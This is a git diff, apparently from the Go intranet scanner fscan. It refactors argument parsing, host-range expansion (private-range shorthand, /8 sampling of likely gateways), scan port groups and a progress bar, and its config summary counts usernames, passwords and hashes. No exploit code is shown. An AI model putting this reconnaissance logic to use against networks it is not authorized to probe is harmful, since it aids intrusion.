if err != nil {
return fmt.Errorf("网络配置解析失败: %v", err)
}
// 更新全局变量
if networkResult.Config.Network != nil {
HttpProxy = networkResult.Config.Network.HttpProxy
Socks5Proxy = networkResult.Config.Network.Socks5Proxy
if networkResult.Config.Network.Timeout > 0 {
Timeout = int64(networkResult.Config.Network.Timeout.Seconds())
}
if networkResult.Config.Network.WebTimeout > 0 {
WebTimeout = int64(networkResult.Config.Network.WebTimeout.Seconds())
}
UserAgent = networkResult.Config.Network.UserAgent
Cookie = networkResult.Config.Network.Cookie
DisablePing = networkResult.Config.Network.DisablePing
DnsLog = networkResult.Config.Network.EnableDNSLog
}
// 验证配置
validationInput := &parsers.ValidationInput{
ScanMode: ScanMode,
LocalMode: LocalMode,
HasHosts: Info.Host != "" || HostsFile != "",
HasURLs: TargetURL != "" || URLsFile != "",
HasPorts: Ports != "" || PortsFile != "",
HasProxy: HttpProxy != "" || Socks5Proxy != "",
DisablePing: DisablePing,
}
validationResult, err := parser.validationParser.Parse(validationInput, nil, parser.options)
if err != nil {
return fmt.Errorf("参数验证失败: %v", err)
}
// 报告验证警告
for _, warning := range validationResult.Warnings {
LogBase(warning)
}
// 如果有严重错误,返回错误
for _, validationError := range validationResult.Errors {
LogError(validationError.Error())
}
return nil
}
// 保持原有的工具函数
// ReadFileLines 读取文件行 - 兼容接口
func ReadFileLines(filename string) ([]string, error) {
parser := getGlobalParser()
result, err := parser.fileReader.ReadFile(filename)
if err != nil {
return nil, err
}
return result.Lines, nil
}
// RemoveDuplicate 去重函数 - 保持原有实现 // RemoveDuplicate 去重函数 - 保持原有实现
func RemoveDuplicate(old []string) []string { func RemoveDuplicate(old []string) []string {
temp := make(map[string]struct{}) temp := make(map[string]struct{})
@ -519,23 +360,6 @@ func joinInts(slice []int, sep string) string {
return result return result
} }
// GetParser 获取解析器实例 - 新增API
func GetParser() *Parser {
return getGlobalParser()
}
// SetParserOptions 设置解析器选项 - 新增API
func SetParserOptions(options *parsers.ParserOptions) {
globalParser = NewParser(options)
}
// ClearParserCache 清空解析器缓存 - 新增API
func ClearParserCache() {
if globalParser != nil && globalParser.fileReader != nil {
globalParser.fileReader.ClearCache()
}
}
// showParseSummary 显示解析结果摘要 // showParseSummary 显示解析结果摘要
func showParseSummary(config *parsers.ParsedConfig) { func showParseSummary(config *parsers.ParsedConfig) {
if config == nil { if config == nil {
@ -546,63 +370,63 @@ func showParseSummary(config *parsers.ParsedConfig) {
if config.Targets != nil { if config.Targets != nil {
if len(config.Targets.Hosts) > 0 { if len(config.Targets.Hosts) > 0 {
if len(config.Targets.Hosts) <= 5 { if len(config.Targets.Hosts) <= 5 {
LogBase(fmt.Sprintf("目标主机: %s", joinStrings(config.Targets.Hosts, ", "))) LogBase(i18n.GetText("target_hosts_found", joinStrings(config.Targets.Hosts, ", ")))
} else { } else {
LogBase(fmt.Sprintf("目标主机: %s ... (共%d个)", joinStrings(config.Targets.Hosts[:5], ", "), len(config.Targets.Hosts))) LogBase(i18n.GetText("target_hosts_count", joinStrings(config.Targets.Hosts[:5], ", "), len(config.Targets.Hosts)))
} }
} }
if len(config.Targets.URLs) > 0 { if len(config.Targets.URLs) > 0 {
if len(config.Targets.URLs) <= 3 { if len(config.Targets.URLs) <= 3 {
LogBase(fmt.Sprintf("目标URL: %s", joinStrings(config.Targets.URLs, ", "))) LogBase(i18n.GetText("target_urls_found", joinStrings(config.Targets.URLs, ", ")))
} else { } else {
LogBase(fmt.Sprintf("目标URL: %s ... (共%d个)", joinStrings(config.Targets.URLs[:3], ", "), len(config.Targets.URLs))) LogBase(i18n.GetText("target_urls_count", joinStrings(config.Targets.URLs[:3], ", "), len(config.Targets.URLs)))
} }
} }
if len(config.Targets.Ports) > 0 { if len(config.Targets.Ports) > 0 {
if len(config.Targets.Ports) <= 20 { if len(config.Targets.Ports) <= 20 {
LogBase(fmt.Sprintf("扫描端口: %s", joinInts(config.Targets.Ports, ", "))) LogBase(i18n.GetText("target_ports_found", joinInts(config.Targets.Ports, ", ")))
} else { } else {
LogBase(fmt.Sprintf("扫描端口: %s ... (共%d个)", joinInts(config.Targets.Ports[:20], ", "), len(config.Targets.Ports))) LogBase(i18n.GetText("target_ports_count", joinInts(config.Targets.Ports[:20], ", "), len(config.Targets.Ports)))
} }
} }
if len(config.Targets.ExcludePorts) > 0 { if len(config.Targets.ExcludePorts) > 0 {
LogBase(fmt.Sprintf("排除端口: %s", joinInts(config.Targets.ExcludePorts, ", "))) LogBase(i18n.GetText("target_exclude_ports", joinInts(config.Targets.ExcludePorts, ", ")))
} }
if config.Targets.LocalMode { if config.Targets.LocalMode {
LogBase("本地扫描模式") LogBase(i18n.GetText("target_local_mode"))
} }
} }
// 显示网络配置 // 显示网络配置
if config.Network != nil { if config.Network != nil {
if config.Network.HttpProxy != "" { if config.Network.HttpProxy != "" {
LogBase(fmt.Sprintf("HTTP代理: %s", config.Network.HttpProxy)) LogBase(i18n.GetText("network_http_proxy", config.Network.HttpProxy))
} }
if config.Network.Socks5Proxy != "" { if config.Network.Socks5Proxy != "" {
LogBase(fmt.Sprintf("Socks5代理: %s", config.Network.Socks5Proxy)) LogBase(i18n.GetText("network_socks5_proxy", config.Network.Socks5Proxy))
} }
if config.Network.Timeout > 0 { if config.Network.Timeout > 0 {
LogBase(fmt.Sprintf("连接超时: %v", config.Network.Timeout)) LogBase(i18n.GetText("network_timeout", config.Network.Timeout))
} }
if config.Network.WebTimeout > 0 { if config.Network.WebTimeout > 0 {
LogBase(fmt.Sprintf("Web超时: %v", config.Network.WebTimeout)) LogBase(i18n.GetText("network_web_timeout", config.Network.WebTimeout))
} }
} }
// 显示凭据信息 // 显示凭据信息
if config.Credentials != nil { if config.Credentials != nil {
if len(config.Credentials.Usernames) > 0 { if len(config.Credentials.Usernames) > 0 {
LogBase(fmt.Sprintf("用户名数量: %d", len(config.Credentials.Usernames))) LogBase(i18n.GetText("credential_username_count", len(config.Credentials.Usernames)))
} }
if len(config.Credentials.Passwords) > 0 { if len(config.Credentials.Passwords) > 0 {
LogBase(fmt.Sprintf("密码数量: %d", len(config.Credentials.Passwords))) LogBase(i18n.GetText("credential_password_count", len(config.Credentials.Passwords)))
} }
if len(config.Credentials.HashValues) > 0 { if len(config.Credentials.HashValues) > 0 {
LogBase(fmt.Sprintf("Hash数量: %d", len(config.Credentials.HashValues))) LogBase(i18n.GetText("credential_hash_count", len(config.Credentials.HashValues)))
} }
} }
} }
@ -612,7 +436,7 @@ func applyLogLevel() {
if LogLevel == "" { if LogLevel == "" {
return // 使用默认级别 return // 使用默认级别
} }
// 根据LogLevel字符串获取对应的日志级别 // 根据LogLevel字符串获取对应的日志级别
var level logging.LogLevel var level logging.LogLevel
switch LogLevel { switch LogLevel {
@ -653,32 +477,29 @@ func applyLogLevel() {
return // 无效的级别,保持默认 return // 无效的级别,保持默认
} }
} }
// 更新全局日志管理器的级别 // 更新全局日志管理器的级别
if globalLogger != nil { if globalLogger != nil {
config := &logging.LoggerConfig{ config := &logging.LoggerConfig{
Level: level, Level: level,
EnableColor: !NoColor, EnableColor: !NoColor,
SlowOutput: SlowLogOutput, SlowOutput: SlowLogOutput,
ShowProgress: true, ShowProgress: true,
StartTime: StartTime, StartTime: StartTime,
LevelColors: map[logging.LogLevel]color.Attribute{ LevelColors: logging.GetDefaultLevelColors(),
logging.LevelError: color.FgBlue,
logging.LevelBase: color.FgYellow,
logging.LevelInfo: color.FgGreen,
logging.LevelSuccess: color.FgRed,
logging.LevelDebug: color.FgWhite,
},
} }
newLogger := logging.NewLogger(config) newLogger := logging.NewLogger(config)
if ProgressBar != nil { if ProgressBar != nil {
newLogger.SetProgressBar(ProgressBar) newLogger.SetProgressBar(ProgressBar)
} }
newLogger.SetOutputMutex(&OutputMutex) newLogger.SetOutputMutex(&OutputMutex)
// 设置协调输出函数使用LogWithProgress
newLogger.SetCoordinatedOutput(LogWithProgress)
// 更新全局日志管理器 // 更新全局日志管理器
globalLogger = newLogger globalLogger = newLogger
status = newLogger.GetScanStatus() // status变量已移除如需获取状态请直接调用newLogger.GetScanStatus()
} }
} }

View File

@ -1,549 +0,0 @@
package Common
import (
"bufio"
"errors"
"fmt"
"math/rand"
"net"
"os"
"regexp"
"sort"
"strconv"
"strings"
)
// IP解析相关错误
var (
ErrParseIP = errors.New(GetText("parse_ip_error")) // IP解析失败的统一错误
)
// ParseIP 解析各种格式的IP地址
// 参数:
// - host: 主机地址可以是单个IP、IP范围、CIDR或常用网段简写
// - filename: 包含主机地址的文件名
// - nohosts: 需要排除的主机地址列表
//
// 返回:
// - []string: 解析后的IP地址列表
// - error: 解析过程中的错误
func ParseIP(host string, filename string, nohosts ...string) (hosts []string, err error) {
// 处理主机和端口组合的情况 (格式: IP:PORT)
if filename == "" && strings.Contains(host, ":") {
hostport := strings.Split(host, ":")
if len(hostport) == 2 {
host = hostport[0]
hosts = parseIPList(host)
Ports = hostport[1]
LogBase(GetText("host_port_parsed", Ports))
}
} else {
// 解析主机地址
hosts = parseIPList(host)
// 从文件加载额外主机
if filename != "" {
fileHosts, err := readIPFile(filename)
if err != nil {
LogError(GetText("read_host_file_failed", err))
} else {
hosts = append(hosts, fileHosts...)
LogBase(GetText("extra_hosts_loaded", len(fileHosts)))
}
}
}
// 处理需要排除的主机
hosts = excludeHosts(hosts, nohosts)
// 去重并排序
hosts = removeDuplicateIPs(hosts)
LogBase(GetText("final_valid_hosts", len(hosts)))
// 检查解析结果
if len(hosts) == 0 && len(HostPort) == 0 && (host != "" || filename != "") {
return nil, ErrParseIP
}
return hosts, nil
}
// parseIPList 解析逗号分隔的IP地址列表
// 参数:
// - ipList: 逗号分隔的IP地址列表字符串
//
// 返回:
// - []string: 解析后的IP地址列表
func parseIPList(ipList string) []string {
var result []string
// 处理逗号分隔的IP列表
if strings.Contains(ipList, ",") {
ips := strings.Split(ipList, ",")
for _, ip := range ips {
if parsed := parseSingleIP(ip); len(parsed) > 0 {
result = append(result, parsed...)
}
}
} else if ipList != "" {
// 解析单个IP地址或范围
result = parseSingleIP(ipList)
}
return result
}
// parseSingleIP 解析单个IP地址或IP范围
// 支持多种格式:
// - 普通IP: 192.168.1.1
// - 简写网段: 192, 172, 10
// - CIDR: 192.168.0.0/24
// - 范围: 192.168.1.1-192.168.1.100 或 192.168.1.1-100
// - 域名: example.com
// 参数:
// - ip: IP地址或范围字符串
//
// 返回:
// - []string: 解析后的IP地址列表
func parseSingleIP(ip string) []string {
// 检测是否包含字母(可能是域名)
isAlpha := regexp.MustCompile(`[a-zA-Z]+`).MatchString(ip)
// 根据不同格式解析IP
switch {
case ip == "192":
// 常用内网段简写
return parseSingleIP("192.168.0.0/16")
case ip == "172":
// 常用内网段简写
return parseSingleIP("172.16.0.0/12")
case ip == "10":
// 常用内网段简写
return parseSingleIP("10.0.0.0/8")
case strings.HasSuffix(ip, "/8"):
// 处理/8网段使用采样方式
return parseSubnet8(ip)
case strings.Contains(ip, "/"):
// 处理CIDR格式
return parseCIDR(ip)
case isAlpha:
// 处理域名,直接返回
return []string{ip}
case strings.Contains(ip, "-"):
// 处理IP范围
return parseIPRange(ip)
default:
// 尝试解析为单个IP地址
if testIP := net.ParseIP(ip); testIP != nil {
return []string{ip}
}
LogError(GetText("invalid_ip_format", ip))
return nil
}
}
// parseCIDR 解析CIDR格式的IP地址段
// 例如: 192.168.1.0/24
// 参数:
// - cidr: CIDR格式的IP地址段
//
// 返回:
// - []string: 展开后的IP地址列表
func parseCIDR(cidr string) []string {
// 解析CIDR格式
_, ipNet, err := net.ParseCIDR(cidr)
if err != nil {
LogError(GetText("cidr_parse_failed", cidr, err))
return nil
}
// 转换为IP范围
ipRange := calculateIPRange(ipNet)
hosts := parseIPRange(ipRange)
LogBase(GetText("parse_cidr_to_range", cidr, ipRange))
return hosts
}
// calculateIPRange 计算CIDR的起始IP和结束IP
// 例如: 192.168.1.0/24 -> 192.168.1.0-192.168.1.255
// 参数:
// - cidr: 解析后的IPNet对象
//
// 返回:
// - string: 格式为"起始IP-结束IP"的范围字符串
func calculateIPRange(cidr *net.IPNet) string {
// 获取网络起始IP
start := cidr.IP.String()
mask := cidr.Mask
// 计算广播地址(最后一个IP)
bcst := make(net.IP, len(cidr.IP))
copy(bcst, cidr.IP)
// 将网络掩码按位取反然后与IP地址按位或得到广播地址
for i := 0; i < len(mask); i++ {
ipIdx := len(bcst) - i - 1
bcst[ipIdx] = cidr.IP[ipIdx] | ^mask[len(mask)-i-1]
}
end := bcst.String()
result := fmt.Sprintf("%s-%s", start, end)
LogBase(GetText("cidr_range", result))
return result
}
// parseIPRange 解析IP范围格式的地址
// 支持两种格式:
// - 完整格式: 192.168.1.1-192.168.1.100
// - 简写格式: 192.168.1.1-100
// 参数:
// - ipRange: IP范围字符串
//
// 返回:
// - []string: 展开后的IP地址列表
func parseIPRange(ipRange string) []string {
parts := strings.Split(ipRange, "-")
if len(parts) != 2 {
LogError(GetText("ip_range_format_error", ipRange))
return nil
}
startIP := parts[0]
endIP := parts[1]
// 验证起始IP
if net.ParseIP(startIP) == nil {
LogError(GetText("invalid_ip_format", startIP))
return nil
}
// 处理简写格式 (如: 192.168.1.1-100)
if len(endIP) < 4 || !strings.Contains(endIP, ".") {
return parseShortIPRange(startIP, endIP)
} else {
// 处理完整格式 (如: 192.168.1.1-192.168.1.100)
return parseFullIPRange(startIP, endIP)
}
}
// parseShortIPRange 解析简写格式的IP范围
// 例如: 192.168.1.1-100 表示从192.168.1.1到192.168.1.100
// 参数:
// - startIP: 起始IP
// - endSuffix: 结束IP的最后一部分
//
// 返回:
// - []string: 展开后的IP地址列表
func parseShortIPRange(startIP, endSuffix string) []string {
var allIP []string
// 将结束段转换为数字
endNum, err := strconv.Atoi(endSuffix)
if err != nil || endNum > 255 {
LogError(GetText("ip_range_format_error", startIP+"-"+endSuffix))
return nil
}
// 分解起始IP
ipParts := strings.Split(startIP, ".")
if len(ipParts) != 4 {
LogError(GetText("ip_format_error", startIP))
return nil
}
// 获取前缀和起始IP的最后一部分
prefixIP := strings.Join(ipParts[0:3], ".")
startNum, err := strconv.Atoi(ipParts[3])
if err != nil || startNum > endNum {
LogError(GetText("invalid_ip_range", startNum, endNum))
return nil
}
// 生成IP范围
for i := startNum; i <= endNum; i++ {
allIP = append(allIP, fmt.Sprintf("%s.%d", prefixIP, i))
}
LogBase(GetText("generate_ip_range", prefixIP, startNum, prefixIP, endNum))
return allIP
}
// parseFullIPRange 解析完整格式的IP范围
// 例如: 192.168.1.1-192.168.2.100
// 参数:
// - startIP: 起始IP
// - endIP: 结束IP
//
// 返回:
// - []string: 展开后的IP地址列表
func parseFullIPRange(startIP, endIP string) []string {
var allIP []string
// 验证结束IP
if net.ParseIP(endIP) == nil {
LogError(GetText("invalid_ip_format", endIP))
return nil
}
// 分解起始IP和结束IP
startParts := strings.Split(startIP, ".")
endParts := strings.Split(endIP, ".")
if len(startParts) != 4 || len(endParts) != 4 {
LogError(GetText("ip_format_error", startIP+"-"+endIP))
return nil
}
// 转换为整数数组
var start, end [4]int
for i := 0; i < 4; i++ {
var err1, err2 error
start[i], err1 = strconv.Atoi(startParts[i])
end[i], err2 = strconv.Atoi(endParts[i])
if err1 != nil || err2 != nil || start[i] > 255 || end[i] > 255 {
LogError(GetText("ip_format_error", startIP+"-"+endIP))
return nil
}
}
// 计算IP地址的整数表示
startInt := (start[0] << 24) | (start[1] << 16) | (start[2] << 8) | start[3]
endInt := (end[0] << 24) | (end[1] << 16) | (end[2] << 8) | end[3]
// 检查范围的有效性
if startInt > endInt {
LogError(GetText("invalid_ip_range", startIP, endIP))
return nil
}
// 限制IP范围的大小防止生成过多IP导致内存问题
if endInt-startInt > 65535 {
LogError(GetText("ip_range_too_large", startIP, endIP))
// 可以考虑在这里实现采样或截断策略
}
// 生成IP范围
for ipInt := startInt; ipInt <= endInt; ipInt++ {
ip := fmt.Sprintf("%d.%d.%d.%d",
(ipInt>>24)&0xFF,
(ipInt>>16)&0xFF,
(ipInt>>8)&0xFF,
ipInt&0xFF)
allIP = append(allIP, ip)
}
LogBase(GetText("generate_ip_range_full", startIP, endIP, len(allIP)))
return allIP
}
// parseSubnet8 解析/8网段的IP地址生成采样IP列表
// 由于/8网段包含1600多万个IP因此采用采样方式
// 参数:
// - subnet: CIDR格式的/8网段
//
// 返回:
// - []string: 采样的IP地址列表
func parseSubnet8(subnet string) []string {
// 去除CIDR后缀获取基础IP
baseIP := subnet[:len(subnet)-2]
if net.ParseIP(baseIP) == nil {
LogError(GetText("invalid_ip_format", baseIP))
return nil
}
// 获取/8网段的第一段
firstOctet := strings.Split(baseIP, ".")[0]
var sampleIPs []string
LogBase(GetText("parse_subnet", firstOctet))
// 预分配足够的容量以提高性能
// 每个二级网段10个IP共256*256个二级网段
sampleIPs = make([]string, 0, 10)
// 对常用网段进行更全面的扫描
commonSecondOctets := []int{0, 1, 2, 10, 100, 200, 254}
// 对于每个选定的第二段,采样部分第三段
for _, secondOctet := range commonSecondOctets {
for thirdOctet := 0; thirdOctet < 256; thirdOctet += 10 {
// 添加常见的网关和服务器IP
sampleIPs = append(sampleIPs, fmt.Sprintf("%s.%d.%d.1", firstOctet, secondOctet, thirdOctet)) // 默认网关
sampleIPs = append(sampleIPs, fmt.Sprintf("%s.%d.%d.254", firstOctet, secondOctet, thirdOctet)) // 通常用于路由器/交换机
// 随机采样不同范围的主机IP
fourthOctet := randomInt(2, 253)
sampleIPs = append(sampleIPs, fmt.Sprintf("%s.%d.%d.%d", firstOctet, secondOctet, thirdOctet, fourthOctet))
}
}
// 对其他二级网段进行稀疏采样
samplingStep := 32 // 每32个二级网段采样1个
for secondOctet := 0; secondOctet < 256; secondOctet += samplingStep {
for thirdOctet := 0; thirdOctet < 256; thirdOctet += samplingStep {
// 对于采样的网段取几个代表性IP
sampleIPs = append(sampleIPs, fmt.Sprintf("%s.%d.%d.1", firstOctet, secondOctet, thirdOctet))
sampleIPs = append(sampleIPs, fmt.Sprintf("%s.%d.%d.%d", firstOctet, secondOctet, thirdOctet, randomInt(2, 253)))
}
}
LogBase(GetText("sample_ip_generated", len(sampleIPs)))
return sampleIPs
}
// readIPFile 从文件中按行读取IP地址
// 支持两种格式:
// - 每行一个IP或IP范围
// - IP:PORT 格式指定端口
// 参数:
// - filename: 包含IP地址的文件路径
//
// 返回:
// - []string: 解析后的IP地址列表
// - error: 读取和解析过程中的错误
func readIPFile(filename string) ([]string, error) {
// 打开文件
file, err := os.Open(filename)
if err != nil {
LogError(GetText("open_file_failed", filename, err))
return nil, err
}
defer file.Close()
var ipList []string
scanner := bufio.NewScanner(file)
scanner.Split(bufio.ScanLines)
// 逐行处理
lineCount := 0
for scanner.Scan() {
line := strings.TrimSpace(scanner.Text())
if line == "" || strings.HasPrefix(line, "#") {
continue // 跳过空行和注释行
}
lineCount++
// 处理IP:PORT格式
if strings.Contains(line, ":") {
parts := strings.Split(line, ":")
if len(parts) == 2 {
// 提取端口部分,处理可能的注释
portPart := strings.Split(parts[1], " ")[0]
portPart = strings.Split(portPart, "#")[0]
port, err := strconv.Atoi(portPart)
// 验证端口有效性
if err != nil || port < 1 || port > 65535 {
LogError(GetText("invalid_port", line))
continue
}
// 解析IP部分并与端口组合
hosts := parseIPList(parts[0])
for _, host := range hosts {
HostPort = append(HostPort, fmt.Sprintf("%s:%s", host, portPart))
}
LogBase(GetText("parse_ip_port", line))
} else {
LogError(GetText("invalid_ip_port_format", line))
}
} else {
// 处理纯IP格式
hosts := parseIPList(line)
ipList = append(ipList, hosts...)
LogBase(GetText("parse_ip_address", line))
}
}
// 检查扫描过程中的错误
if err := scanner.Err(); err != nil {
LogError(GetText("read_file_error", err))
return ipList, err
}
LogBase(GetText("file_parse_complete", len(ipList)))
return ipList, nil
}
// excludeHosts 从主机列表中排除指定的主机
// 参数:
// - hosts: 原始主机列表
// - nohosts: 需要排除的主机列表(可选)
//
// 返回:
// - []string: 排除后的主机列表
func excludeHosts(hosts []string, nohosts []string) []string {
// 如果没有需要排除的主机,直接返回原列表
if len(nohosts) == 0 || nohosts[0] == "" {
return hosts
}
// 解析排除列表
excludeList := parseIPList(nohosts[0])
if len(excludeList) == 0 {
return hosts
}
// 使用map存储有效主机提高查找效率
hostMap := make(map[string]struct{}, len(hosts))
for _, host := range hosts {
hostMap[host] = struct{}{}
}
// 从map中删除需要排除的主机
for _, host := range excludeList {
delete(hostMap, host)
}
// 重建主机列表
result := make([]string, 0, len(hostMap))
for host := range hostMap {
result = append(result, host)
}
// 排序以保持结果的稳定性
sort.Strings(result)
LogBase(GetText("hosts_excluded", len(excludeList)))
return result
}
// removeDuplicateIPs 去除重复的IP地址
// 参数:
// - ips: 包含可能重复项的IP地址列表
//
// 返回:
// - []string: 去重后的IP地址列表
func removeDuplicateIPs(ips []string) []string {
// 使用map去重
ipMap := make(map[string]struct{}, len(ips))
for _, ip := range ips {
ipMap[ip] = struct{}{}
}
// 创建结果切片并添加唯一的IP
result := make([]string, 0, len(ipMap))
for ip := range ipMap {
result = append(result, ip)
}
// 排序以保持结果的稳定性
sort.Strings(result)
return result
}
// randomInt 生成指定范围内的随机整数
// 参数:
// - min: 最小值(包含)
// - max: 最大值(包含)
//
// 返回:
// - int: 生成的随机数
func randomInt(min, max int) int {
if min >= max || min < 0 || max <= 0 {
return max
}
return rand.Intn(max-min+1) + min
}

View File

@ -1,93 +0,0 @@
package Common
import (
"sort"
"strconv"
"strings"
)
// ParsePort 解析端口配置字符串为端口号列表
func ParsePort(ports string) []int {
// 预定义的端口组
portGroups := map[string]string{
"service": ServicePorts,
"db": DbPorts,
"web": WebPorts,
"all": AllPorts,
"main": MainPorts,
}
// 检查是否匹配预定义组
if definedPorts, exists := portGroups[ports]; exists {
ports = definedPorts
}
if ports == "" {
return nil
}
var scanPorts []int
slices := strings.Split(ports, ",")
// 处理每个端口配置
for _, port := range slices {
port = strings.TrimSpace(port)
if port == "" {
continue
}
// 处理端口范围
upper := port
if strings.Contains(port, "-") {
ranges := strings.Split(port, "-")
if len(ranges) < 2 {
LogError(GetText("port_range_format_error", port))
continue
}
// 确保起始端口小于结束端口
startPort, _ := strconv.Atoi(ranges[0])
endPort, _ := strconv.Atoi(ranges[1])
if startPort < endPort {
port = ranges[0]
upper = ranges[1]
} else {
port = ranges[1]
upper = ranges[0]
}
}
// 生成端口列表
start, _ := strconv.Atoi(port)
end, _ := strconv.Atoi(upper)
for i := start; i <= end; i++ {
if i > 65535 || i < 1 {
LogError(GetText("ignore_invalid_port", i))
continue
}
scanPorts = append(scanPorts, i)
}
}
// 去重并排序
scanPorts = removeDuplicate(scanPorts)
sort.Ints(scanPorts)
LogBase(GetText("valid_port_count", len(scanPorts)))
return scanPorts
}
// removeDuplicate 对整数切片进行去重
func removeDuplicate(old []int) []int {
temp := make(map[int]struct{})
var result []int
for _, item := range old {
if _, exists := temp[item]; !exists {
temp[item] = struct{}{}
result = append(result, item)
}
}
return result
}

View File

@ -1,23 +1,15 @@
package Common package common
import ( import "github.com/shadow1ng/fscan/common/core"
"strconv"
"strings" /*
Ports.go - 端口常量向后兼容层
此文件保持向后兼容实际常量定义已迁移到Core/Constants.go
*/
// 向后兼容的端口常量 - 引用Core包中的定义
var (
WebPorts = core.WebPorts // Web服务端口组
MainPorts = core.MainPorts // 主要服务端口组
) )
var ServicePorts = "21,22,23,25,110,135,139,143,162,389,445,465,502,587,636,873,993,995,1433,1521,2222,3306,3389,5020,5432,5672,5671,6379,8161,8443,9000,9092,9093,9200,10051,11211,15672,15671,27017,61616,61613"
var DbPorts = "1433,1521,3306,5432,5672,6379,7687,9042,9093,9200,11211,27017,61616"
var WebPorts = "80,81,82,83,84,85,86,87,88,89,90,91,92,98,99,443,800,801,808,880,888,889,1000,1010,1080,1081,1082,1099,1118,1888,2008,2020,2100,2375,2379,3000,3008,3128,3505,5555,6080,6648,6868,7000,7001,7002,7003,7004,7005,7007,7008,7070,7071,7074,7078,7080,7088,7200,7680,7687,7688,7777,7890,8000,8001,8002,8003,8004,8005,8006,8008,8009,8010,8011,8012,8016,8018,8020,8028,8030,8038,8042,8044,8046,8048,8053,8060,8069,8070,8080,8081,8082,8083,8084,8085,8086,8087,8088,8089,8090,8091,8092,8093,8094,8095,8096,8097,8098,8099,8100,8101,8108,8118,8161,8172,8180,8181,8200,8222,8244,8258,8280,8288,8300,8360,8443,8448,8484,8800,8834,8838,8848,8858,8868,8879,8880,8881,8888,8899,8983,8989,9000,9001,9002,9008,9010,9043,9060,9080,9081,9082,9083,9084,9085,9086,9087,9088,9089,9090,9091,9092,9093,9094,9095,9096,9097,9098,9099,9100,9200,9443,9448,9800,9981,9986,9988,9998,9999,10000,10001,10002,10004,10008,10010,10051,10250,12018,12443,14000,15672,15671,16080,18000,18001,18002,18004,18008,18080,18082,18088,18090,18098,19001,20000,20720,20880,21000,21501,21502,28018"
var AllPorts = "1-65535"
var MainPorts = "21,22,23,80,81,110,135,139,143,389,443,445,502,873,993,995,1433,1521,3306,5432,5672,6379,7001,7687,8000,8005,8009,8080,8089,8443,9000,9042,9092,9200,10051,11211,15672,27017,61616"
func ParsePortsFromString(portsStr string) []int {
var ports []int
portStrings := strings.Split(portsStr, ",")
for _, portStr := range portStrings {
if port, err := strconv.Atoi(portStr); err == nil {
ports = append(ports, port)
}
}
return ports
}

318
Common/ProgressManager.go Normal file
View File

@ -0,0 +1,318 @@
package common
import (
"fmt"
"os"
"sync"
"time"
"github.com/shadow1ng/fscan/common/i18n"
)
/*
ProgressManager.go - 固定底部进度条管理器
提供固定在终端底部的进度条显示与正常输出内容分离
使用终端控制码实现位置固定和内容保护
*/
// ProgressManager 进度条管理器
type ProgressManager struct {
mu sync.RWMutex
enabled bool
total int64
current int64
description string
startTime time.Time
isActive bool
terminalHeight int
reservedLines int // 为进度条保留的行数
lastContentLine int // 最后一行内容的位置
// 输出缓冲相关
outputMutex sync.Mutex
}
var (
globalProgressManager *ProgressManager
progressMutex sync.Mutex
)
// GetProgressManager 获取全局进度条管理器
func GetProgressManager() *ProgressManager {
progressMutex.Lock()
defer progressMutex.Unlock()
if globalProgressManager == nil {
globalProgressManager = &ProgressManager{
enabled: true,
reservedLines: 2, // 保留2行进度条 + 空行
terminalHeight: getTerminalHeight(),
}
}
return globalProgressManager
}
// InitProgress 初始化进度条
func (pm *ProgressManager) InitProgress(total int64, description string) {
if !ShowProgress || Silent {
pm.enabled = false
return
}
pm.mu.Lock()
defer pm.mu.Unlock()
pm.total = total
pm.current = 0
pm.description = description
pm.startTime = time.Now()
pm.isActive = true
pm.enabled = true
// 为进度条保留空间
pm.setupProgressSpace()
// 初始显示进度条
pm.renderProgress()
}
// UpdateProgress 更新进度
func (pm *ProgressManager) UpdateProgress(increment int64) {
if !pm.enabled || !pm.isActive {
return
}
pm.mu.Lock()
defer pm.mu.Unlock()
pm.current += increment
if pm.current > pm.total {
pm.current = pm.total
}
pm.renderProgress()
}
// =============================================================================================
// 已删除的死代码未使用SetProgress 设置当前进度
// =============================================================================================
// FinishProgress 完成进度条
func (pm *ProgressManager) FinishProgress() {
if !pm.enabled || !pm.isActive {
return
}
pm.mu.Lock()
defer pm.mu.Unlock()
pm.current = pm.total
pm.renderProgress()
// 显示完成信息
pm.showCompletionInfo()
// 清理进度条区域,恢复正常输出
pm.clearProgressArea()
pm.isActive = false
}
// setupProgressSpace 设置进度条空间
func (pm *ProgressManager) setupProgressSpace() {
// 简化设计:进度条在原地更新,不需要预留额外空间
// 只是标记进度条开始的位置
pm.lastContentLine = 0
}
// =============================================================================================
// 已删除的死代码未使用moveToContentArea 和 moveToProgressLine 方法
// =============================================================================================
// renderProgress 渲染进度条(使用锁避免输出冲突)
func (pm *ProgressManager) renderProgress() {
pm.outputMutex.Lock()
defer pm.outputMutex.Unlock()
pm.renderProgressUnsafe()
}
// generateProgressBar 生成进度条字符串
func (pm *ProgressManager) generateProgressBar() string {
if pm.total == 0 {
return fmt.Sprintf("%s: 等待中...", pm.description)
}
percentage := float64(pm.current) / float64(pm.total) * 100
elapsed := time.Since(pm.startTime)
// 计算预估剩余时间
var eta string
if pm.current > 0 {
totalTime := elapsed * time.Duration(pm.total) / time.Duration(pm.current)
remaining := totalTime - elapsed
if remaining > 0 {
eta = fmt.Sprintf(" ETA:%s", formatDuration(remaining))
}
}
// 计算速度
speed := float64(pm.current) / elapsed.Seconds()
speedStr := ""
if speed > 0 {
speedStr = fmt.Sprintf(" (%.1f/s)", speed)
}
// 生成进度条
barWidth := 30
filled := int(percentage * float64(barWidth) / 100)
bar := ""
if NoColor {
// 无颜色版本
bar = "[" +
fmt.Sprintf("%s%s",
string(make([]rune, filled)),
string(make([]rune, barWidth-filled))) +
"]"
for i := 0; i < filled; i++ {
bar = bar[:i+1] + "=" + bar[i+2:]
}
for i := filled; i < barWidth; i++ {
bar = bar[:i+1] + "-" + bar[i+2:]
}
} else {
// 彩色版本
bar = "|"
for i := 0; i < barWidth; i++ {
if i < filled {
bar += "#"
} else {
bar += "."
}
}
bar += "|"
}
return fmt.Sprintf("%s %6.1f%% %s (%d/%d)%s%s",
pm.description, percentage, bar, pm.current, pm.total, speedStr, eta)
}
// showCompletionInfo 显示完成信息
func (pm *ProgressManager) showCompletionInfo() {
elapsed := time.Since(pm.startTime)
// 换行并显示完成信息
fmt.Print("\n")
completionMsg := i18n.GetText("progress_scan_completed")
if NoColor {
fmt.Printf("[完成] %s %d/%d (耗时: %s)\n",
completionMsg, pm.total, pm.total, formatDuration(elapsed))
} else {
fmt.Printf("\033[32m[完成] %s %d/%d\033[0m \033[90m(耗时: %s)\033[0m\n",
completionMsg, pm.total, pm.total, formatDuration(elapsed))
}
}
// clearProgressArea 清理进度条区域
